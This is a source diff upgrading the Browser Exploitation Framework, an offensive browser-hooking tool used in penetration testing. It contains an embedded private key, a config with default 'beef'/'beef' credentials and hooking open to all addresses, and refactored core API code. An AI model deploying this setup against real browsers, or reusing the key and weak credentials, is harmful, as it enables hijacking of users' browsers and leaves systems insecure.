+39YFfgDC0o0DFiJFE7mO8NTWlfSd9fDzpk9+RuQ90klipmqqw5JI5VKkKSgsm/+j
+BpjXRfCBISXysD7e3Tf/0HqzT1DSjbzTNe78IyJIE1IQmUlI11kCAwEAAQKCAYA6
+mX87BMcU9eilcZeEspLKsPaPAR83/oqi7QWKe6VKz750UvjLFedJWnaJfhwtl0vs
+EOt8N/UOA/UeGCreVdV7nS6rox0gvfBKQMdRXUv51ON7K2BCUiJ1LE2zhuE/Ae6E
+ZBYxgPShg6J1HVBBO+xIJMwqIT3WBjx2JtrYNj81sntWd7+LFIRstnQ9cmMbUEc+
+1D/l6zzZ/kG6kKQUrJH8iWFzkzY1GGM7HWCbrw3+J/60xCRyXMn6y6mQO91nv0nJ
+heir6gmTIdjM7E6wDCsdLOiziKAZlWI3RkEm+Jag0JEYqlzk1XWaiqHav2Oa8eCU
+Cbo8yst+PpxJoa1I7rSYZkt+7m+hdhVCWwvFCSRnAyVowpDrjL4SBazn61wvOWVs
+jeLrHtP8HlGGHdcpLDGVPsp3mXIjgDPcx+22E+Qk7wWnedi22ZSxQMxwQDt/LMiB
+JtAalaZfYmc5+QowCZfTlpO93wvJYalqobFag3YzAv0879VsKtrnjiutcL0BJgEC
+gcEA4nrqVAumNscnIs7keONkvpTHWABRXX864nLKC+hoyACbDdlakPlo6qxULovE
+CjGhTBG819D6q+VBvwE2uXlKoxh+guilUO0j2M3uj/8OjQDH1ICO2CYyNKuduHly
+Tdn5PIADhpGRM3TXTCpg0P1WS2ql53Qt0HJ1Ae1GU9mz67+lXLbEGVnDUCQ8eOrj
+nCCsbEc50GFlXHgL6w5wjlJ8RUGuOsJJbGtnb2Ed5UofXS1zuldvlGqUVcB/L8Ve
+1O05AoHBAM2ZSS7/G96i0kPuBWo1CZbnzVoR9/ilsLCZ/2hmdsvZiFbK9Fx5Fb1u
+4LAZsPznMya2mmVgK3Y5CzuNT86IHGMdPJ2bJ2n2Pz1QdRRVEFTNpaS4kY/IG2hS
+6pOVxPS+lahC012WhyzRYmSW0MIaJ6XvjpGntIXd+LYYQnb6sSeKVhVgsILxf8Hk
+TMXiR/GCbpSIWrhPD4BHLcqKhja32dL9YAuzi9xAQ4Ccavz1AqCZJat3rR13Vce6
+jB+arptbIQKBwEHG5SvHvlyGds1bPWwGzwmy+DqMzRTUkOuX3yqaM2RzGJVrHSyh
+42DU8BYcrbEwPOJ0/F3J6iPmj7PDzHsNySmZQZUPsIPSe+jJ1pGnyDgXk/IZ7GLG
+pSo69bHQQ+xsdECoBV4eBQfm1WjfngLUsS1yKgEQ8wVpWKZYnWZZAjJkFMjapBWg
+xmMOQynzPmvn6WwBO79Tqjay/vMj3HjZaBJNQyb5qo18nCvzDtW7M2TCgKwMHPIE
+ClTldYsQTbyVsQKBwQC0fgNPbMpMs2ggFo9OY+1dO3Z9whSNhvgMscUVJA7aeshE
+WbwYinxZZ0N9lbBY9adkLx5wLPM6wG1qBG6xg7BYGsyiGBmL3pA6Ba4jAWJq8Hag
+mx++uA/HkDM7CVp0+fNsWe4w1Psqj07vu67dGBUCicIBgNbsRqgXREjlJsPrUHiu
+H8oVymk8EG6Nsk8yaC0n3GS4NUAIf3RlwSJ+WvyxS5rL6v23h/s6pxcNpxJ9ZrU5
+SMEDg0YdJ1noTOVIocECgcEAhMQBUdV0qHrrGyCpsnoRVFaUMi+/+TNjJnStlerj
+KjphQa+J+pvuwzAyu82zFX+6BPsnq9ZvYIBChb6WxjVu+ucIr4A79WrZ7ZpChi00
+64+mU6woATLOcxLIKNSakFOEjubnLoU/orp1CoWUW1tHv7FPO6PaJNi8wuYE3NEv
+j8U27RLwdnqJKUPJ9Tjc7LQd1Hk9UT9BK6EVfxSpy0ybquhJstJX9oa7jihHxcqE
+jyItP2FJBbw7BlIq7t2c2G66
+-----END PRIVATE KEY-----

conf.json

@@ -0,0 +1,16 @@
+{
+    "source": {
+        "include": ["./core/main/client"],
+        "includePattern": ".js$"
+    },
+    "plugins": [
+        "plugins/markdown"
+    ],
+    "opts": {
+        "encoding": "utf8",
+        "readme": "./README.md",
+        "destination": "docs/",
+        "recurse": true,
+        "verbose": true
+    }
+}

config.yaml

@@ -1,75 +1,151 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 # BeEF Configuration file
 
 beef:
-    version: '0.4.3.3-alpha'
+    version: '0.6.0.0'
+    # More verbose messages (server-side)
     debug: false
+    # More verbose messages (client-side)
+    client_debug: false
+    # Used for generating secure tokens
+    crypto_default_value_length: 80
 
+    # Credentials to authenticate in BeEF.
+    # Used by both the RESTful API and the Admin interface
+    credentials:
+        user:   "beef"
+        passwd: "beef"
+
+    # Interface / IP restrictions
     restrictions:
-        # subnet of browser ip addresses that can hook to the framework 
-        permitted_hooking_subnet: "0.0.0.0/0"
-        # subnet of browser ip addresses that can connect to the UI 
-        # permitted_ui_subnet: "127.0.0.1/32"
-        permitted_ui_subnet: "0.0.0.0/0"
-    
+        # subnet of IP addresses that can hook to the framework
+        permitted_hooking_subnet: ["0.0.0.0/0", "::/0"]
+        # subnet of IP addresses that can connect to the admin UI
+        #permitted_ui_subnet: ["127.0.0.1/32", "::1/128"]
+        permitted_ui_subnet: ["0.0.0.0/0", "::/0"]
+        # subnet of IP addresses that cannot be hooked by the framework
+        excluded_hooking_subnet: []
+        # slow API calls to 1 every  api_attempt_delay  seconds
+        api_attempt_delay: "0.05"
+
+    # HTTP server 
     http:
         debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
         host: "0.0.0.0"
         port: "3000"
-        # if running behind a nat set the public ip address here
-        #public: ""
-        dns: "localhost"
-        panel_path: "/ui/panel"
+
+        # Decrease this setting to 1,000 (ms) if you want more responsiveness
+        #  when sending modules and retrieving results.
+        # NOTE: A poll timeout of less than 5,000 (ms) might impact performance
+        #  when hooking lots of browsers (50+).
+        # Enabling WebSockets is generally better (beef.websocket.enable)
+        xhr_poll_timeout: 1000
+
+        # Public Domain Name / Reverse Proxy / Port Forwarding
+        #
+        # In order for the client-side BeEF JavaScript hook to be able to connect to BeEF,
+        # the hook JavaScript needs to be generated with the correct connect-back details.
+        #
+        # If you're using a public domain name, reverse proxy, or port forwarding you must
+        # configure the public-facing connection details here.
+
+        #public:
+        #    host: "beef.local" # public hostname/IP address
+        #    port: "443" # public port (443 if the public server is using HTTPS)
+        #    https: false # true/false
+
+        # If using any reverse proxy you should also set allow_reverse_proxy to true below.
+        # Note that this causes the BeEF server to trust the X-Forwarded-For HTTP header.
+        # If the BeEF server is directly accessible, clients can spoof their connecting
+        # IP address using this header to bypass the IP address permissions/exclusions.
+        allow_reverse_proxy: false
+
+        # Hook
         hook_file: "/hook.js"
         hook_session_name: "BEEFHOOK"
-        session_cookie_name: "BEEFSESSION"
+
+        # Allow one or multiple origins to access the RESTful API using CORS
+        # For multiple origins use: "http://browserhacker.com, http://domain2.com"
+        restful_api:
+            allow_cors: false
+            cors_allowed_domains: "http://browserhacker.com"
+
+        # Prefer WebSockets over XHR-polling when possible.
+        websocket:
+            enable: false
+            port: 61985 # WS: good success rate through proxies
+            # Use encrypted 'WebSocketSecure'
+            # NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF
+            secure: true
+            secure_port: 61986 # WSSecure
+            ws_poll_timeout: 5000 # poll BeEF every x second, this affects how often the browser can have a command execute on it
+            ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel
+
         # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
         web_server_imitation:
-                        enable: false
-                        #supported: apache, iis
-                        type: "apache"
+            enable: true
+            type: "apache" # Supported: apache, iis, nginx
+            hook_404: false # inject BeEF hook in HTTP 404 responses
+            hook_root: false # inject BeEF hook in the server home page
+        # Experimental HTTPS support for the hook / admin / all other Thin managed web services
+        https:
+            enable: false
+            # In production environments, be sure to use a valid certificate signed for the value
+            # used in beef.http.public (the domain name of the server where you run BeEF)
+            key: "beef_key.pem"
+            cert: "beef_cert.pem"
 
     database:
-        # For information on using other databases please read the
-        # README.databases file
+        file: "beef.db"
 
-        # supported DBs: sqlite, mysql, postgres
-        driver: "sqlite"
+    # Autorun Rule Engine
+    autorun:
+        # this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval
+        # to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually
+        # continue execution regardless of results.
+        # If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout.
+        result_poll_interval: 300
+        result_poll_timeout: 5000
 
-        # db_file is only used for sqlite
-        db_file: "beef.db"
-        
-        # db connection information is only used for mysql/postgres
-        db_host: "localhost"
-        db_name: "beef"
-        db_user: "beef"
-        db_passwd: "beef123"
-        db_encoding: "UTF-8"
+        # If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain.
+        # This is useful to call modules (nested-forward chain mode) that are not returning their status/results.
+        continue_after_timeout: true
 
-    crypto_default_value_length: 80
+    # Enables DNS lookups on zombie IP addresses
+    dns_hostname_lookup: false
+
+    # IP Geolocation
+    geoip:
+        enable: true
+        # GeoLite2 City database created by MaxMind, available from https://www.maxmind.com
+        database: '/usr/share/GeoIP/GeoLite2-City.mmdb'
 
     # You may override default extension configuration parameters here
+    # Note: additional experimental extensions are available in the 'extensions' directory
+    #       and can be enabled via their respective 'config.yaml' file
     extension:
+        admin_ui:
+            enable: true
+            base_path: "/ui"
+        demos:
+            enable: true
+        events:
+            enable: true
+        evasion:
+            enable: false
         requester:
-            enable: true 
+            enable: true
         proxy:
-            enable: true 
+            enable: true
+        network:
+            enable: true
         metasploit:
             enable: false
-        console:
-            shell:
-                enable: false
+        social_engineering:
+            enable: false
+        xssrays:
+            enable: true

core/api.rb

@@ -1,184 +1,209 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 
 module BeEF
   module API
-
+    #
     # Registrar class to handle all registered timed API calls
+    #
     class Registrar
-
       include Singleton
 
+      #
       # Create registrar
+      #
       def initialize
         @registry = []
         @count = 1
       end
 
       # Register timed API calls to an owner
+      #
       # @param [Class] owner the owner of the API hook
-      # @param [Class] c the API class the owner would like to hook into
+      # @param [Class] clss the API class the owner would like to hook into
       # @param [String] method the method of the class the owner would like to execute
       # @param [Array] params an array of parameters that need to be matched before the owner will be called
-      def register(owner, c, method, params = [])
-        if self.verify_api_path(c, method)
-          if not self.registered?(owner, c, method, params)
-            id = @count
-            @registry << {
-                'id' => id,
-                'owner' => owner,
-                'class' => c,
-                'method' => method,
-                'params' => params
-            }
-            @count += 1
-            return id
-          else
-            print_debug "API Registrar: Attempting to re-register API call #{c.to_s} :#{method.to_s}"
-          end
-        else
-          print_error "API Registrar: Attempted to register non-existant API method #{c.to_s} :#{method.to_s}"
+      #
+      def register(owner, clss, method, params = [])
+        unless verify_api_path(clss, method)
+          print_error "API Registrar: Attempted to register non-existent API method #{clss} :#{method}"
+          return
         end
+
+        if registered?(owner, clss, method, params)
+          print_debug "API Registrar: Attempting to re-register API call #{clss} :#{method}"
+          return
+        end
+
+        id = @count
+        @registry << {
+          'id' => id,
+          'owner' => owner,
+          'class' => clss,
+          'method' => method,
+          'params' => params
+        }
+        @count += 1
+
+        id
       end
 
+      #
       # Tests whether the owner is registered for an API hook
+      #
       # @param [Class] owner the owner of the API hook
-      # @param [Class] c the API class
+      # @param [Class] clss the API class
       # @param [String] method the method of the class
       # @param [Array] params an array of parameters that need to be matched
+      #
       # @return [Boolean] whether or not the owner is registered
-      def registered?(owner, c, method, params = [])
-        @registry.each{|r|
-          if r['owner'] == owner and r['class'] == c and r['method'] == method and self.is_matched_params?(r, params)
-            return true
-          end
-        }
-        return false
+      #
+      def registered?(owner, clss, method, params = [])
+        @registry.each do |r|
+          next unless r['owner'] == owner
+          next unless r['class'] == clss
+          next unless r['method'] == method
+          next unless is_matched_params? r, params
+
+          return true
+        end
+        false
       end
 
+      #
       # Match a timed API call to determine if an API.fire() is required
-      # @param [Class] c the target API class
+      #
+      # @param [Class] clss the target API class
       # @param [String] method the method of the target API class
       # @param [Array] params an array of parameters that need to be matched
+      #
       # @return [Boolean] whether or not the arguments match an entry in the API registry
-      def matched?(c, method, params = [])
-        @registry.each{|r|
-          if r['class'] == c and r['method'] == method and self.is_matched_params?(r, params)
-            return true
-          end
-        }
-        return false
+      #
+      def matched?(clss, method, params = [])
+        @registry.each do |r|
+          next unless r['class'] == clss
+          next unless r['method'] == method
+          next unless is_matched_params? r, params
+
+          return true
+        end
+        false
       end
 
+      #
       # Un-registers an API hook
+      #
       # @param [Integer] id the ID of the API hook
+      #
       def unregister(id)
-        @registry.delete_if{|r|
-          r['id'] == id
-        }
+        @registry.delete_if { |r| r['id'] == id }
       end
 
+      #
       # Retrieves all the owners and ID's of an API hook
-      # @param [Class] c the target API class
+      # @param [Class] clss the target API class
       # @param [String] method the method of the target API class
       # @param [Array] params an array of parameters that need to be matched
+      #
       # @return [Array] an array of hashes consisting of two keys :owner and :id
-      def get_owners(c, method, params = [])
+      #
+      def get_owners(clss, method, params = [])
         owners = []
-        @registry.each{|r|
-          if r['class'] == c and r['method'] == method
-            if self.is_matched_params?(r, params)
-              owners << { :owner => r['owner'], :id => r['id']}
-            end
-          end
-        }
-        return owners
+        @registry.each do |r|
+          next unless r['class'] == clss
+          next unless r['method'] == method
+          next unless is_matched_params? r, params
+
+          owners << { owner: r['owner'], id: r['id'] }
+        end
+        owners
       end
 
+      #
       # Verifies that the api_path has been regitered
       # Verifies the API path has been registered.
+      #
       # @note This is a security precaution
-      # @param [Class] c the target API class to verify
-      # @param [String] m the target method to verify
-      def verify_api_path(c, m)
-        return (c.const_defined?('API_PATHS') and c.const_get('API_PATHS').has_key?(m))
+      #
+      # @param [Class] clss the target API class to verify
+      # @param [String] mthd the target method to verify
+      #
+      def verify_api_path(clss, mthd)
+        (clss.const_defined?('API_PATHS') && clss.const_get('API_PATHS').key?(mthd))
       end
 
+      #
       # Retrieves the registered symbol reference for an API hook
-      # @param [Class] c the target API class to verify
-      # @param [String] m the target method to verify
+      #
+      # @param [Class] clss the target API class to verify
+      # @param [String] mthd the target method to verify
+      #
       # @return [Symbol] the API path
-      def get_api_path(c, m)
-        return (self.verify_api_path(c, m)) ? c.const_get('API_PATHS')[m] : nil;
+      #
+      def get_api_path(clss, mthd)
+        verify_api_path(clss, mthd) ? clss.const_get('API_PATHS')[mthd] : nil
       end
 
+      #
       # Matches stored API params to params
+      #
       # @note If a stored API parameter has a NilClass the parameter matching is skipped for that parameter
       # @note By default this method returns true, this is either because the API.fire() did not include any parameters or there were no parameters defined for this registry entry
+      #
       # @param [Hash] reg hash of registry element, must contain 'params' key
       # @param [Array] params array of parameters to be compared to the stored parameters
+      #
       # @return [Boolean] whether params matches the stored API parameters
+      #
       def is_matched_params?(reg, params)
         stored = reg['params']
-        if stored.length == params.length
-          matched = true
-          stored.each_index{|i|
-            next if stored[i] == nil
-            if not stored[i] == params[i]
-              matched = false
-            end
-          }
-          return false if not matched
+        return true unless stored.length == params.length
+
+        stored.each_index do |i|
+          next if stored[i].nil?
+          return false unless stored[i] == params[i]
         end
-        return true
+
+        true
       end
 
+      #
       # Fires all owners registered to this API hook
-      # @param [Class] c the target API class
-      # @param [String] m the target API method
+      #
+      # @param [Class] clss the target API class
+      # @param [String] mthd the target API method
       # @param [Array] *args parameters passed for the API call
-      # @return [Hash, NilClass] returns either a Hash of :api_id and :data if the owners return data, otherwise NilClass
-      def fire(c, m, *args)
-        mods = self.get_owners(c, m, args)
-        if mods.length > 0
-          data = []
-          if self.verify_api_path(c, m) and c.ancestors[0].to_s > "BeEF::API"
-            method = self.get_api_path(c, m)
-            mods.each do |mod|
-              begin
-                #Only used for API Development (very verbose)
-                #print_info "API: #{mod} fired #{method}"
-                result = mod[:owner].method(method).call(*args)
-                if not result == nil
-                  data << {:api_id => mod[:id], :data => result}
-                end
-              rescue Exception => e
-                print_error "API Fire Error: #{e.message} in #{mod.to_s}.#{method.to_s}()"
-              end
-            end
-          else
-            print_error "API Path not defined for Class: #{c.to_s} method:#{method.to_s}"
-          end
-          return data
+      #
+      # @return [Hash, NilClass] returns either a Hash of :api_id and :data
+      #         if the owners return data, otherwise NilClass
+      #
+      def fire(clss, mthd, *args)
+        mods = get_owners(clss, mthd, args)
+        return nil unless mods.length.positive?
+
+        unless verify_api_path(clss, mthd) && clss.ancestors.first.to_s.start_with?('BeEF::API')
+          print_error "API Path not defined for Class: #{clss} method: #{mthd}"
+          return []
         end
-        return nil
+
+        data = []
+        method = get_api_path(clss, mthd)
+        mods.each do |mod|
+          # Only used for API Development (very verbose)
+          # print_info "API: #{mod} fired #{method}"
+
+          result = mod[:owner].method(method).call(*args)
+          data << { api_id: mod[:id], data: result } unless result.nil?
+        rescue StandardError => e
+          print_error "API Fire Error: #{e.message} in #{mod}.#{method}()"
+        end
+
+        data
       end
-
     end
-
   end
 end
 
@@ -187,8 +212,7 @@ require 'core/api/modules'
 require 'core/api/extension'
 require 'core/api/extensions'
 require 'core/api/main/migration'
-require 'core/api/main/network_stack/assethandler.rb'
+require 'core/api/main/network_stack/assethandler'
 require 'core/api/main/server'
 require 'core/api/main/server/hook'
 require 'core/api/main/configuration'
-

core/api/extension.rb

@@ -1,30 +1,17 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 
 module BeEF
   module API
     module Extension
-
       attr_reader :full_name, :short_name, :description
 
       @full_name = ''
       @short_name = ''
       @description = ''
-
     end
-
   end
 end

core/api/extensions.rb

@@ -1,31 +1,18 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 module BeEF
   module API
     module Extensions
-
       # @note Defined API Paths
       API_PATHS = {
-          'post_load' => :post_load
-      }
+        'post_load' => :post_load
+      }.freeze
 
       # API hook fired after all extensions have been loaded
-      def post_load;
-      end
-
+      def post_load; end
     end
   end
 end

core/api/main/configuration.rb

@@ -1,32 +1,19 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 module BeEF
-module API
-  module Configuration 
-    
-    # @note Defined API Paths
-    API_PATHS = {
+  module API
+    module Configuration
+      # @note Defined API Paths
+      API_PATHS = {
         'module_configuration_load' => :module_configuration_load
-    }
-    
-    # Fires just after module configuration is loaded and merged
-    # @param [String] mod module key
-    def module_configuration_load(mod); end
+      }.freeze
 
+      # Fires just after module configuration is loaded and merged
+      # @param [String] mod module key
+      def module_configuration_load(mod); end
+    end
   end
-  
-end
 end

core/api/main/migration.rb

@@ -1,31 +1,18 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 module BeEF
-module API
-  module Migration
-    
-    # @note Defined API Paths
-    API_PATHS = {
+  module API
+    module Migration
+      # @note Defined API Paths
+      API_PATHS = {
         'migrate_commands' => :migrate_commands
-    }
+      }.freeze
 
-    # Fired just after the migration process
-    def migrate_commands; end
-    
+      # Fired just after the migration process
+      def migrate_commands; end
+    end
   end
-  
-end
 end

core/api/main/network_stack/assethandler.rb

@@ -1,46 +1,34 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 module BeEF
-module API
-module NetworkStack
-module Handlers
-module AssetHandler
+  module API
+    module NetworkStack
+      module Handlers
+        module AssetHandler
+          # Binds a file to be accessible by the hooked browser
+          # @param [String] file file to be served
+          # @param [String] path URL path to be bound, if no path is specified a randomly generated one will be used
+          # @param [String] extension to be used in the URL
+          # @param [Integer] count amount of times the file can be accessed before being automatically unbound. (-1 = no limit)
+          # @return [String] URL bound to the specified file
+          # @todo Add hooked browser parameter to only allow specified hooked browsers access to the bound URL. Waiting on Issue #336
+          # @note This is a direct API call and does not have to be registered to be used
+          def self.bind(file, path = nil, extension = nil, count = -1)
+            BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count)
+          end
 
-    # Binds a file to be accessible by the hooked browser
-    # @param [String] file file to be served
-    # @param [String] path URL path to be bound, if no path is specified a randomly generated one will be used
-    # @param [String] extension to be used in the URL
-    # @param [Integer] count amount of times the file can be accessed before being automatically unbound. (-1 = no limit)
-    # @return [String] URL bound to the specified file
-    # @todo Add hooked browser parameter to only allow specified hooked browsers access to the bound URL. Waiting on Issue #336
-    # @note This is a direct API call and does not have to be registered to be used
-    def self.bind(file, path=nil, extension=nil, count=-1)
-        return BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count)
+          # Unbinds a file made accessible to hooked browsers
+          # @param [String] url the bound URL
+          # @todo Add hooked browser parameter to only unbind specified hooked browsers binds. Waiting on Issue #336
+          # @note This is a direct API call and does not have to be registered to be used
+          def self.unbind(url)
+            BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(url)
+          end
+        end
+      end
     end
-
-    # Unbinds a file made accessible to hooked browsers
-    # @param [String] url the bound URL
-    # @todo Add hooked browser parameter to only unbind specified hooked browsers binds. Waiting on Issue #336
-    # @note This is a direct API call and does not have to be registered to be used
-    def self.unbind(url)
-        BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(url)
-    end
-
-end
-end
-end
-end
+  end
 end

core/api/main/server.rb

@@ -1,53 +1,40 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 module BeEF
-module API
-module Server
-
-    # @note Defined API Paths
-    API_PATHS = {
+  module API
+    module Server
+      # @note Defined API Paths
+      API_PATHS = {
         'mount_handler' => :mount_handler,
         'pre_http_start' => :pre_http_start
-    }
-    
-    # Fires just before the HTTP Server is started
-    # @param [Object] http_hook_server HTTP Server object
-    def pre_http_start(http_hook_server); end
-    
-    # Fires just after handlers have been mounted
-    # @param [Object] server HTTP Server object
-    def mount_handler(server); end
-    
-    # Mounts a handler
-    # @param [String] url URL to be mounted
-    # @param [Class] http_handler_class the handler Class
-    # @param [Array] args an array of arguments
-    # @note This is a direct API call and does not have to be registered to be used
-    def self.mount(url, http_handler_class, args = nil)
-      BeEF::Core::Server.instance.mount(url, http_handler_class, *args)
-    end
+      }.freeze
 
-    # Unmounts a handler
-    # @param [String] url URL to be unmounted
-    # @note This is a direct API call and does not have to be registered to be used
-    def self.unmount(url)
+      # Fires just before the HTTP Server is started
+      # @param [Object] http_hook_server HTTP Server object
+      def pre_http_start(http_hook_server); end
+
+      # Fires just after handlers have been mounted
+      # @param [Object] server HTTP Server object
+      def mount_handler(server); end
+
+      # Mounts a handler
+      # @param [String] url URL to be mounted
+      # @param [Class] http_handler_class the handler Class
+      # @param [Array] args an array of arguments
+      # @note This is a direct API call and does not have to be registered to be used
+      def self.mount(url, http_handler_class, args = nil)
+        BeEF::Core::Server.instance.mount(url, http_handler_class, *args)
+      end
+
+      # Unmounts a handler
+      # @param [String] url URL to be unmounted
+      # @note This is a direct API call and does not have to be registered to be used
+      def self.unmount(url)
         BeEF::Core::Server.instance.unmount(url)
+      end
     end
-
-  
-end
-end
+  end
 end

core/api/main/server/hook.rb

@@ -1,34 +1,21 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 module BeEF
-module API
-module Server
-  module Hook 
+  module API
+    module Server
+      module Hook
+        # @note Defined API Paths
+        API_PATHS = {
+          'pre_hook_send' => :pre_hook_send
+        }.freeze
 
-    # @note Defined API Paths
-    API_PATHS = {
-        'pre_hook_send' => :pre_hook_send
-    }
-    
-    # Fires just before the hook is sent to the hooked browser
-    # @param [Class] handler the associated handler Class
-    def pre_hook_send(handler); end
-    
+        # Fires just before the hook is sent to the hooked browser
+        # @param [Class] handler the associated handler Class
+        def pre_hook_send(handler); end
+      end
+    end
   end
-  
-end
-end
 end

core/api/module.rb

@@ -1,36 +1,24 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 module BeEF
   module API
-
     module Command
     end
 
     module Module
-
       # @note Defined API Paths
